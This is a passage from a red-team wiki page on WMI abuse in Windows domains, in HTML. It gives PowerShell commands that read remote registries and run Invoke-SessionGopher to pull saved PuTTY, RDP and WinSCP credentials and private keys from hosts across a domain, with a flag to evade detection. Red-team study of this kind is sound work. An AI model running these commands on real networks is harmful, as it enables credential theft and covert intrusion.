remote computer</span></h4>
<pre id="bkmrk-invoke-wmimethod--na-0"><code class="language-Powershell">Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1") -ComputerName 192.168.1.1 -Credential contoso\john</code></pre>
<h2 id="bkmrk-wmi-for-red-team"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTElMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSSUyMGZvciUyMFJlZCUyMFRlYW0lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">WMI for Red Team</span></h2>
<ul id="bkmrk-enable-on-all-window"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="617846b911424229b8233e2adb47458c"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="78aaf6ddf081441e8be3b4ed5c13d1fa">Enable on all Windows by default</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="abfaa475e55a4e2aae8814291a768bc0"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="0ea553e27f2c4aaf9f93613827f8c643">Generally not well monitored, or absolutly not</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="f0ed167c60a64aefa59547ddb15d5a5d"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="549080edb5764c8b83f13029a5a81fa5">Mix really well with traffic</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="a5f51d99dc514e778075d4556194398b"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="d68804718dd248dda9b04b4e25e23e56">Provide SYSTEM execution</span></span></p>
</li>
<li class="" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkVuYWJsZSUyMG9uJTIwYWxsJTIwV2luZG93cyUyMGJ5JTIwZGVmYXVsdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkdlbmVyYWxseSUyMG5vdCUyMHdlbGwlMjBtb25pdG9yZWQlMkMlMjBvciUyMGFic29sdXRseSUyMG5vdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMk1peCUyMHJlYWxseSUyMHdlbGwlMjB3aXRoJTIwdHJhZmZpYyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlByb3ZpZGUlMjBTWVNURU0lMjBleGVjdXRpb24lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RCUyQyU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMmxpc3QtaXRlbSUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjJFeGVjdXRpb24lMjBwZXJzaXN0ZW5jZSUyMGFjcm9zcyUyMHJlYm9vdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="1e51ae7b71d54ddcade1f9ce074f8839"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="874d9fc4b085473b9bd6c28fbd5d8bd8">Execution persistence across reboot</span></span></p>
</li>
</ul><h3 id="bkmrk-standard-information"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlN0YW5kYXJkJTIwaW5mb3JtYXRpb24lMjBnYXRoZXJpbmclMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Standard information gathering</span></span></h3>
<p id="bkmrk-lots-of-interesting-"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlN0YW5kYXJkJTIwaW5mb3JtYXRpb24lMjBnYXRoZXJpbmclMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Lots of interesting information can be extracted</span></span></p>
<pre id="bkmrk-win32_ip4routetable-"><code class="language-Powershell">win32_IP4RouteTable
win32_UserAccount
win32_Group
win32_ShadowCopy #To gather some secrets
StdRegProv #For registry information</code></pre>
<p id="bkmrk-by-running-win32_use" class="blockParagraph-544a408c" data-key="79cf53d7d5f24a5ba652172d26718052"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="aa0e002270fc40ad9bad5e46c2493c4a">By running <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">win32_UserAccount</code> from a Domain Machine, it's possible to retrieve all the local accounts, but also the domain accounts, and the accounts from all the domains and forests which have <strong class="bold-3c254bd9" data-slate-leaf="true">bidirectionnal</strong> trusts with us !</span></span></p>
<p id="bkmrk-same-thing-with-win3" class="blockParagraph-544a408c" data-key="79cf53d7d5f24a5ba652172d26718052"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="66c6eaff2c1243679f794d23fdf51fa0">Same thing with <code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">win32_Group</code></span></span></p>
<h3 id="bkmrk-invoke-sessiongopher" class="blockParagraph-544a408c" data-key="79cf53d7d5f24a5ba652172d26718052"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="66c6eaff2c1243679f794d23fdf51fa0"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkludm9rZS1TZXNzaW9uR29waGVyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Invoke-SessionGopher</span></span></span></h3>
<ul id="bkmrk-identify-admin-jump-"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="f28baa5e1d8142668959317144378730"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="5c6222b7eefa4e64aef0d5ee26783161">Identify admin jump-box and computers used to access Unix machines</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="27ee83cc3c1148d5923d2cfdc9c6bbeb"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="6ff7a195561f40c59a2654047d3850fe">Information extract for Putty and RDP and can decrypt creds for WinSCP from registry</span></span></p>
</li>
<li class="" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMklkZW50aWZ5JTIwYWRtaW4lMjBqdW1wLWJveCUyMGFuZCUyMGNvbXB1dGVycyUyMHVzZWQlMjB0byUyMGFjY2VzcyUyMFVuaXglMjBtYWNoaW5lcyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkluZm9ybWF0aW9uJTIwZXh0cmFjdCUyMGZvciUyMFB1dHR5JTIwYW5kJTIwUkRQJTIwYW5kJTIwY2FuJTIwZGVjcnlwdCUyMGNyZWRzJTIwZm9yJTIwV2luU0NQJTIwZnJvbSUyMHJlZ2lzdHJ5JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LWl0ZW0lMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmJsb2NrJTIyJTJDJTIydHlwZSUyMiUzQSUyMnBhcmFncmFwaCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyVXNlcyUyMFdNSSUyMHRvJTIwZXh0cmFjdCUyMGluZm8lMjBmcm9tJTIwYWRtaW4lMjByZWdpc3RyeSUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="d95239c9a1364c12bef1dee2d3300298"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="bd118441603f49c09cdb8b0d25d27a5e">Uses WMI to extract info from admin registry</span></span></p>
</li>
</ul><h4 id="bkmrk-extract-information-"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkV4dHJhY3QlMjBpbmZvcm1hdGlvbiUyMGZyb20lMjBsb2NhbCUyMGJveCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">Extract information from local box</span></span></h4>
<pre id="bkmrk-invoke-sessiongopher-0"><code class="language-Powershell">Invoke-SessionGopher -Verbose</code></pre>
<h4 id="bkmrk-from-remote-box"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkZyb20lMjByZW1vdGUlMjBib3glMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">From remote box</span></h4>
<pre id="bkmrk-invoke-sessiongopher-1"><code class="language-Powershell">Invoke-SessionGopher -ComputerName 192.168.1.1 -Credential contoso\john</code></pre>
<h4 id="bkmrk-from-all-domain"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkZyb20lMjBhbGwlMjBkb21haW4lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">From all domain</span></h4>
<pre id="bkmrk-invoke-sessiongopher-2"><code class="language-Powershell">Invoke-SessionGopher -Credential contoso\john -AllDomain</code></pre>
<p id="bkmrk-to-exclude-the-dc-to"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMlRvJTIwZXhjbHVkZSUyMHRoZSUyMERDJTIwdG8lMjBsaW1pdCUyMGRldGVjdGlvbiUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE">To exclude the DC to limit detection</span></p>
<pre id="bkmrk-invoke-sessiongopher-3"><code class="language-Powershell">Invoke-SessionGopher -Credential contoso\john -AllDomain -ExcludeDC</code></pre>
<h4 id="bkmrk-with-thorough-mode"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldpdGglMjB0aG9yb3VnaCUyMG1vZGUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">With thorough mode</span></h4>
<p id="bkmrk-can-retrieve-putty-p"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTMlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldpdGglMjB0aG9yb3VnaCUyMG1vZGUlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==">Can retrieve Putty private keys (.ppk), RFP file (.rdp) and RSA keys (.stdid)</span></p>
<pre id="bkmrk-invoke-sessiongopher-4"><code class="language-Powershell">Invoke-SessionGopher -Thorough</code></pre>
<h3 id="bkmrk-active-directory-inf"><span style="white-space: pre;" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJoZWFkaW5nLTIlMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMkFjdGl2ZSUyMERpcmVjdG9yeSUyMGluZm9ybWF0aW9uJTIwZ2F0aGVyaW5nJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlNUQlN0Q=">Active Directory information gathering</span></h3>
<ul id="bkmrk-wmi-can-be-used-for-"><li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="772633d04e474e8c80efabb5a4789553"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="8555c1b7865843298c69d320e185c9b4">WMI can be used for AD enumeration</span></span></p>
</li>
<li class="">
<p class="blockParagraph-544a408c--noMargin-acdf7afa" data-key="6522c38658194c95b164c2ce61293ddb"><span class="text-4505230f--TextH400-3033861f--textContentFamily-49a318e1"><span data-key="c7efdf39da4f4a798c78dee11c851ce0"><code class="code-0458e21e" spellcheck="false" data-slate-leaf="true">root\directory\ldap</code> namespace can be used</span></span></p>
</li>
<li class="" data-slate-fragment="JTdCJTIyb2JqZWN0JTIyJTNBJTIyZG9jdW1lbnQlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJsaXN0LXVub3JkZXJlZCUyMiUyQyUyMmlzVm9pZCUyMiUzQWZhbHNlJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIyb2JqZWN0JTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIybGlzdC1pdGVtJTIyJTJDJTIyaXNWb2lkJTIyJTNBZmFsc2UlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJibG9jayUyMiUyQyUyMnR5cGUlMjIlM0ElMjJwYXJhZ3JhcGglMjIlMkMlMjJpc1ZvaWQlMjIlM0FmYWxzZSUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMm9iamVjdCUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJvYmplY3QlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMldNSSUyMGNhbiUyMGJlJTIwdXNlZCUyMGZvciUyMEFEJTIwZW51bWVyYXRpb24lMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3R